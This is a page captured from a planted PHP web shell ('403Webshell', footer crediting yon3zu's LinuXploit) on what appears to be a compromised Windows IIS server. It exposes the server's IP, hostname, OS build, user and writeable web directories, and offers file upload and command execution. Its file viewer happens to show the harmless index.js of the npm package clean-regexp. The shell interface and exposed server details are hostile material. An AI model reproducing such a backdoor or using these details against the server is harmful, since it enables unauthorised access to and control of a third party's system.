403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/clean-regexp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/clean-regexp//index.js
'use strict';
const escapeStringRegexp = require('escape-string-regexp');
const mapping = require('./lib/mappings');

const hasFlags = (regexFlags, replaceFlags) => {
	if (!replaceFlags) {
		return true;
	}

	// Check if every flag in the replace flags is part of the original regex flags
	return replaceFlags.split('').every(flag => regexFlags.includes(flag));
};

module.exports = (regexp, flags) => {
	flags = flags || '';

	if (typeof regexp !== 'string') {
		throw new TypeError(`Expected regexp to be of type \`string\`, got \`${typeof regexp}\``);
	}

	if (typeof flags !== 'string') {
		throw new TypeError(`Expected flags to be of type \`string\`, got \`${typeof flags}\``);
	}

	for (const replace of mapping) {
		const key = replace[0];
		const replacement = replace[1];

		if (hasFlags(flags, replacement.flags)) {
			regexp = regexp.replace(new RegExp(escapeStringRegexp(key), 'g'), replacement.value);
		}
	}

	return regexp;
};

Youez - 2016 - github.com/yon3zu
LinuXploit